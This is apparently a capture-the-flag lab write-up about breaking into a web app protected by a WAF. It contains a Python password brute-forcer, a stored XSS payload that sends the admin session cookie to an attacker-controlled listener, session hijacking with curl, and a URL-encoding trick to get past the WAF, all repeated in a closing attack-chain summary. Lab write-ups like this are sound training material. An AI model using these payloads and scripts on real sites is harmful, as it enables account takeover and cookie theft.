A PHP that restarts all services and a proverbial greeting card on a server.

Get your curls ready for a night on the town.

The room target IP rotated between sessions and restarts. The final exploit was completed against 10.146.138.121. Earlier recon stages used the IPs active at the time.


Initial Recon

┌──(jenn㉿local)-[~]
└─$ curl -I 10.145.169.251

A malformed curl to start, but stick with me:

malformed curl returning a PHPSESSID despite resolution warning

Would you look at that. A session cookie (PHPSESSID). For me? How kind.

Since Mozilla/5.0 was not attached to -A, curl treated it like a separate target and tossed a resolution warning. It still continued on to the actual target and returned a valid PHPSESSID.

Proper syntax:

┌──(jenn㉿local)-[~]
└─$ curl -I -A "Mozilla/5.0" http://10.145.169.251
proper curl with Mozilla UA returning clean headers and PHPSESSID

This is the second challenge in a course of Firewall vulnerability assessments. Fresh PHPSESSID stashed for later.

What we know so far:

  • A firewall exists
  • User-agent disguising bypasses some firewall rules
  • A session cookie is in hand
  • A PHP loginForm exists on the target
  • The server will be decommissioned in 24 hours
  • Goodbye messages to the server can be seen on the homepage
  • An admin and/or message bot is highly likely
  • check.js exists
  • adam, deliver, and nora exist, and have co-dependency issues with a server

Must have been one great server. Or it is sick of its end-users waxing poetic when they should be maximizing efficiency. Who knows.


Nmap

┌──(jenn㉿local)-[~]
└─$ nmap -sS -Pn -sC -sV -T4 -A 10.145.169.251
┌──(jenn㉿local)-[~]
└─$ nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.145.169.251
nmap vuln scan output

Findings from the vuln scan worth knowing about:

nmap findings showing /admin.php and httponly flag not set

Also now known:

  • Port 22 open
  • Port 80 open
  • httponly flag not set is great news for the stolen cookie
  • /admin.php exists sans httponly flag
  • Per the room intro, /admin also holds all of the farewell messages
  • /info.php exists, which could contain credentials, firewall details, etc.
  • The ominous auto-resetting /status.php has not yet been enumerated
  • The homepage has a PHP loginForm that a bot likely moderates

The missing /status.php that essentially self-destructs is calling for more attention.


Authenticated Enumeration

gobuster with a fresh session cookie and a full Chrome UA string:

┌──(jenn㉿local)-[~]
└─$ gobuster dir -u http://10.145.169.251/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
  -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" \
  -x php,txt,conf,log -t 50 \
  -c "PHPSESSID=tbpitgmsugg0eaqdmpliqqcjb2"

If there is any pushback about the -t 50, add:

-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
gobuster results showing /status.php returning 200

The elusive /status.php returning a 200, and a /server-status serving a 403.

Trying feroxbuster next, with -C 302 to filter out the redirect noise. Grabbed a fresh session cookie for it:

┌──(jenn㉿local)-[~]
└─$ feroxbuster -u http://10.146.161.245/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" \
  -x php,txt,conf,log -t 50 \
  --cookies "PHPSESSID=0jhitkhfk4gt6k71g046k0c93p" \
  -C 302
feroxbuster results showing /auth.php returning 405

Ahh. Glad I ran this. /auth.php returning a 405. That is where the logins are actually served, and gobuster missed it. Different tool, different parsing logic, different finding. Worth noting for future engagements.


User Access

Alright. Let’s bust this dinoserver open.

The homepage, in-browser. The cute little bye-bye server messages are scrolling across the banner.

homepage in browser with farewell messages scrolling across the banner

I used deliver11 as the handle because it is the only username-appearing handle on the farewell messages:

deliver11 handle visible in the farewell messages banner

That is a valid username. Thanks, old server.

login form confirming deliver11 is a valid username

Grab that PHPSESSID, please and thank you. Dev Tools > Storage > swap in the Value field with the stolen cookie.

Burp intercepting a response with a password hint in the body

Well would you look at that. Burp caught a response with a password hint.

Good guess on the user, Jenn. To be fair, the other two users likely have similar plaintext hints, but deliver11 is very crackable.

password hint: Capital of Japan followed by 4 digits

“Capital of Japan followed by 4 digits” is the password hint. If I had to guess, 1868 = year Tokyo was formally designated the imperial capital.

To note for our later privesc to admin: the login POST request points to /auth.php as a JSON request, not HTML.

Burp showing login POST to /auth.php as a JSON request

Whipping up a script to brute force the four digits:

nano tokyo_crypt.py
import requests
import random

USERNAME = 'deliver11'
TARGET = 'http://10.146.161.245/auth.php'

USER_AGENTS = [
    'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
    'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
    'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36',
    'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0',
]

# Session reuse keeps the TCP/TLS connection alive across requests
session = requests.Session()

for x in range(1000, 10000):
    url = f'{TARGET}?i={x}'
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': random.choice(USER_AGENTS),
    }
    data = f'username={USERNAME}&password=Tokyo{x}'

    try:
        resp = session.post(url, headers=headers, data=data, timeout=5)
    except requests.RequestException as e:
        print(f'[ERROR] Tokyo{x}: {e}')
        continue

    if 'auth_failed' in resp.text:
        print(f'[FAILED] Payload: "Tokyo{x}", Code: {resp.status_code} || Content: {len(resp.content)}')
    else:
        print(f'[SUCCESS] Payload: "Tokyo{x}", Code: {resp.status_code} || Content: {len(resp.content)}')
        break

Run it:

┌──(jenn㉿local)-[~]
└─$ python3 tokyo_crypt.py

Thank you, deliver11. You may want to change your password (wink).

tokyo_crypt.py output showing the successful password match

Flag 1 = nabbed.

user flag captured

Stored XSS to Admin

The farewell message form is where we will be injecting malicious payloads. Test its behavior first:

<script>alert()</script>

Noted, and a little offended. Not sure why.

script alert payload blocked by the form filter

Strong intuition that this form behaves exactly as the one in Padelify does. One key difference: we are targeting JSON, and Padelify targeted PHP.

Test the form’s response to non-malicious input:

non-malicious farewell message submitted to the form

Hehehe. Have to throw in a little bit of sass.

farewell message accepted successfully

Success.

Now mirror the XSS technique from yesterday that bypassed the WAF rules. Don’t forget the listener first:

python3 -m http.server 8888
<body onload="new Image().src='http://192.168.128.19:8888?c='+document['coo'+'kie'];">

And…gotcha!

Let’s curl this home:

┌──(jenn㉿local)-[~]
└─$ curl -i -b 'PHPSESSID=uh0q23tnqrjc2sb7ucsu6re15j' http://10.146.138.121/dashboard.php
curl dashboard.php with stolen admin cookie returning dashboard content

Next, curl /admin.php with the freshly stolen cookie:

curl -i -b 'PHPSESSID=uh0q23tnqrjc2sb7ucsu6re15j' http://10.146.138.121/admin.php

Blocked by the WAF.

curl admin.php returning WAF block

Let’s get craftier and target /status.php since the server status is almost-dead:

curl -i -b 'PHPSESSID=uh0q23tnqrjc2sb7ucsu6re15j' http://10.146.138.121/status.php

Awesome-sauce. 200 OK returned from /status.php:

curl status.php returning 200 OK part 1 curl status.php 200 OK response part 2

Now we know the web app can check admin.php despite the direct curl getting WAF’d away.

Take a tip from the Burp JSON request and query the status of the JSON endpoint to see if the backend is reachable:

┌──(jenn㉿local)-[~]
└─$ curl -i -b 'PHPSESSID=uh0q23tnqrjc2sb7ucsu6re15j' \
'http://10.146.138.121/status.php?fetch_status=1'

Hello there, backend.

Ugh. I heard aloud in my head while I typed it. It was an innocent remark. I am not hitting backspace.

fetch_status=1 confirming admin is reachable from the backend

fetch_status=1 means the admin is reachable in the eyes of the backend. That really does sound bad.

Given this new backend admin availability information, send a restart:

┌──(jenn㉿local)-[~]
└─$ curl -i -X POST \
-b 'PHPSESSID=uh0q23tnqrjc2sb7ucsu6re15j' \
-d 'restart=1' \
http://10.146.138.121/status.php

Aha. Found the governing script for /status.php.

restart=1 POST response revealing the governing script path

More importantly, we see that status.php can check admin.php thanks to the 200 OK. If we curl admin.php directly, the WAF blocks us.

Time to encode. Time for full-metal Jenn.

Full-Metal Jenn does not mess around. Straight to encoding the admin path:

┌──(jenn㉿local)-[~]
└─$ curl -i -b 'PHPSESSID=uh0q23tnqrjc2sb7ucsu6re15j' \
'http://10.146.138.121/%61dmin.php'

I kid you not: I did not try any approaches that I am keeping out of my notes to look better.

Full-Metal Jenn FTW.

URL character encoding bypass on admin.php returning flags

User flag: THM{USER_ACCESS_1010}

Admin flag: THM{ADMINP@wned007}

both user and admin flags displayed on screen

Full-Metal Jenn = out.


Full Attack Chain

# Initial recon
curl -I -A "Mozilla/5.0" http://10.145.169.251
nmap -sS -Pn -sC -sV -T4 -A 10.145.169.251
nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.145.169.251

# Authenticated enumeration (session cookie + full Chrome UA)
gobuster dir -u http://10.145.169.251/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
  -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" \
  -x php,txt,conf,log -t 50 \
  -c "PHPSESSID=SESSION_ID"

feroxbuster -u http://TARGET_IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" \
  -x php,txt,conf,log -t 50 \
  --cookies "PHPSESSID=SESSION_ID" \
  -C 302

# Valid username discovery via login form -- captured password hint in Burp
# "Capital of Japan followed by 4 digits"

# Brute force the 4-digit suffix via tokyo_crypt.py
python3 tokyo_crypt.py
# Result: Tokyo1868 -- user flag retrieved

# Stored XSS in farewell_message field -- admin bot reviews submissions
python3 -m http.server 8888
# Payload submitted via farewell message form:
# <body onload="new Image().src='http://ATTACKER_IP:8888?c='+document['coo'+'kie'];">

# Reuse stolen admin PHPSESSID
curl -i -b 'PHPSESSID=ADMIN_SESSION' http://TARGET_IP/dashboard.php

# Direct /admin.php blocked by WAF
# Confirm backend admin reachability via status.php
curl -i -b 'PHPSESSID=ADMIN_SESSION' 'http://TARGET_IP/status.php?fetch_status=1'

# WAF path-character bypass: URL-encode the first character
curl -i -b 'PHPSESSID=ADMIN_SESSION' 'http://TARGET_IP/%61dmin.php'
# Admin flag retrieved